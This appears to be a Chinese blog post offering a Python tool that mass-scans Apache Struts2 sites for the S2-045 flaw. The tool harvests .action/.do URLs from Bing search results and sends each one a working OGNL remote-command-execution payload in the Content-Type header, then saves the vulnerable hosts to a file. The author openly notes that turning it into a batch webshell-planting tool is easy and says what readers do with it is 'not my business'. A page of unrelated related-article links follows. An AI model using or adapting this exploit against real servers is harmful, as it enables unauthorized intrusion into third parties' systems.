今天晚上看老铁们在群里就这个st2-045漏洞讨论得火热,个人不太喜欢日站,本来想直接写个批量挂马的东西,但是想想还是算了,如果你有兴趣,改改也很容易,反正不关我的事

测试图

2017-3-8更新

  • 增加了对.do关键词的支持,并且支持任何关键词了,之前我只考虑到了.action关键词并且写死了规则,py版本已经更新,win版的exe未更新,需要的自行用pyinstaller打包为exe
  • 之前采用whoami如果返回200状态码就判断存在漏洞,但是现在很多已经修复了,导致访问之后依旧会跳到正常页面返回200状态码,于是我改了一下判断,执行命令echo xxxx,如果返回结果中含有xxxx就证明漏洞存在
  • win版exe已经打包
  • 重要:建议大家都使用py版本,经过群友测试,exe版本对中文关键词的支持不太好,会出现错误,如果使用上有问题可评论
  • exe版本会出现扫描过慢的情况,强烈建议py版本,鉴于有些朋友说不会配置python环境,我在下面给出了例子
  • 有些朋友说自定义关键字字典出错,这里要提一句,你的字典txt的编码需要是utf-8,有些东西因为写的比较快没考虑太全,见谅

依赖包的安装

//首先你需要安装一个python,在安装图中记得把有pip的选项和add python to path类似的选项勾选上,然后安装完成后执行python -version和pip
//如果执行python -version提醒你有问题,试着重启一下cmd或者电脑,或者检查你的path环境变量下有没有python的安装的路径,没有的话就加上
//如果正常证明环境安装成功,如果执行pip提醒你没有pip,就把你python安装路径下的Scripts目录加到path环境变量,然后在命令行在执行以下代码
pip install requests
pip install beautifulsoup4

对于此脚本所放置文件夹下必须有keyword.txt用来存放一行行的关键词

最开始是打算直接全部读取然后一个一个跑,不过感觉时间太漫长,测试时间太久

后来改成关键词就是自己输入,但是又感觉太麻烦

然后就变成了现在的读取关键词然后标号直接输入序号就可以

途中遇到了有的网址直接拒绝访问导致报错,还有的超时一直不返回报文,这些都解决了,个人测试的结果还可以,结果保存在一个txt下,至于你想再干些什么,不关我的事情了

说明

例子:

python s2-045.py 9 10

第一个参数是你的文件名,第二个是关键词所对应的序号,第三个是你需要爬行的页数

序号与关键词的对应,可以直接运行python s2-045.py就可以产看帮助

脚本采用的bing搜索引擎,文件我会打包在下面

上代码,python2和3通用

# encoding:utf-8
import sys,requests
from bs4 import BeautifulSoup keyword = {}
with open("keyword.txt") as f:
i = 0
for keywordLine in f:
keyword[str(i)] = keywordLine.strip()
i += 1 usage = '''
usage : python s2-045.py 0 10 first parameter is your filename
second parameter is your keyword's number which will be used by Bing
Third parameter is the page number you want to crawl\n''' def poc(actionURL):
data = '--447635f88b584ab6b8d9c17d04d79918\
Content-Disposition: form-data; name="image1"\
Content-Type: text/plain; charset=utf-8\
\
x\
--447635f88b584ab6b8d9c17d04d79918--' header = {
"Content-Length" : "155",
"User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",
"Content-Type" : "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo hereisaexp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
}
try:
request = requests.post(actionURL, data=data, headers=header, timeout = 10)
except:
return "None", "Refused"
return request.text, request.status_code def returnURLList():
keywordsBaseURL = 'http://cn.bing.com/search?q=' +keyword[sys.argv[1]]+ '&first='
n =0
i = 1
while n < int(sys.argv[2]):
baseURL = keywordsBaseURL + str(i)
try:
req = requests.get(baseURL)
soup = BeautifulSoup(req.text, "html.parser")
text = soup.select('li.b_algo > h2 > a')
if '.action' in keyword[sys.argv[1]]:
standardURL = [url['href'][:url['href'].index('.action')]+'.action' for url in text if '.action' in url['href']]
elif '.do' in keyword[sys.argv[1]]:
standardURL = [url['href'][:url['href'].index('.do')]+'.do' for url in text if '.do' in url['href']]
else:
standardURL = [url['href'] for url in text]
except:
print("HTTPERROR")
continue
i += 10
n += 1
yield standardURL def main():
if len(sys.argv) != 3:
print(usage)
for k,v in keyword.items():
print("%s is %s"%(k, v))
sys.exit() for urlList in returnURLList():
for actionURL in urlList:
text, code = poc(actionURL)
if 'hereisaexp' in text:
print(str(code) + "----Successful----" + actionURL + '\n')
with open("AvailableURL.txt","a") as f:
f.write(actionURL+'\n')
else:
print(str(code)+'----'+actionURL+'\n') if __name__ == '__main__':
main()

下载地址

打包了win版,大家可以直接使用,例如在该exe目录下执行(更新的并未打包出exe,如有需要可以自行用pyinstaller打包)

s2-045.exe 9 10

其他用法参照上面

转载请注明出处

s2-045漏洞批量检测工具的更多相关文章

  1. Bash漏洞批量检测工具与修复方案

    &amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...

  2. 【Python】JBOSS-JMX-EJB-InvokerServlet批量检测工具

    一.说明 在JBoss服务器上部署web应用程序,有很多不同的方式,诸如:JMX Console.Remote Method Invocation(RMI).JMXInvokerServlet.Htt ...

  3. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

  4. [POC]微软3389远程漏洞CVE-2019-0708批量检测工具

    0x001 Win下检测 https://github.com/robertdavidgraham/rdpscan C:\Users\K8team\Desktop\rdpscan-master\vs1 ...

  5. 微软3389远程漏洞CVE-2019-0708批量检测工具

    0x001 Win下检测 https://github.com/robertdavidgraham/rdpscan C:\Users\K8team\Desktop\rdpscan-master\vs1 ...

  6. weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )

    ~ 以下内容,仅供学习参考 ~ weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效 ...

  7. WebLogic中WLS 组件漏洞(CVE-2017-10271)专项检测工具

    来源: 时间:2017-12-23 00:00:00 作者: 浏览:1929 次 近期安恒信息在应急响应过程中发现有恶意攻击者利用WebLogic漏洞对企业服务器发起大范围远程攻击,攻击成功后植入挖矿 ...

  8. Metasploit是一款开源的安全漏洞检测工具,

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...

  9. Retina CS强大漏洞检测工具

    RetinaCS强大漏洞检测工具 Eeye数字安全公司成立于上世纪九十年代末期,它是世界领先的安全公司,它采用最新研究成果和创新技术来保证您的网络兄系统安全,并向您提供最强大的如下服务:全面的.漏洞评 ...

随机推荐

  1. 阿里云ECS服务器 常见问题(1)

    无法在外网访问服务器的公网ip 解决方法: 在阿里云 云服务器ECS-安全组规则 添加端口 可更根据阿里的教程来 配置完成后即可访问!

  2. Permutation Bo (数学证明)

    当在两端时:共有n * (n - 1)种组合,满足条件的有,计算可得, counter = n * (n - 1) / 2. 其他位置时:共有n * (n - 1) * (n - 2) 种组合,满足条 ...

  3. url组成

  4. 吴恩达深度学习笔记(deeplearning.ai)之卷积神经网络(CNN)(上)

    作者:szx_spark 1. Padding 在卷积操作中,过滤器(又称核)的大小通常为奇数,如3x3,5x5.这样的好处有两点: 在特征图(二维卷积)中就会存在一个中心像素点.有一个中心像素点会十 ...

  5. AtCoder Beginner Contest 082 A - Round Up the Mean

    题目链接:https://abc082.contest.atcoder.jp/tasks/abc082_a Time limit : 2sec / Memory limit : 256MB Score ...

  6. python装饰器介绍

    """装饰器 定义:本质是函数(器:就是函数的意思),功能:装饰其他函数,就是为其他函数添加附加功能 原则: 1. 不能修改被装饰的函数的源代码 2. 不能修改被装饰的函 ...

  7. .NET 常用ORM之SubSonic

    一.SubSonic简单介绍 SubSonic是一个类似Rails的开源.NET项目.你可以把它看作是一把瑞士军刀,它可以用来构建Website和通过ORM方式来访问数据.Rob Conery和Eri ...

  8. flask框架----蓝图

    蓝图(flask中多py文件拆分都要用到蓝图) 如果代码非常多,要进行归类.不同的功能放在不同的文件,吧相关的视图函数也放进去.蓝图也就是对flask的目录结构进行分配(应用于小,中型的程序), 小中 ...

  9. The Little Prince-12/13

    The Little Prince-12/13 突然发现:这应该是一封情书~ 我那时什么也不懂!我应该根据她的行为,而不是根据她的话来判断她. 她使我的生活芬芳多彩,我真不该离开她跑出来.我本应该猜出 ...

  10. JVM虚拟机详解

    1. 什么是JVM? JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来 ...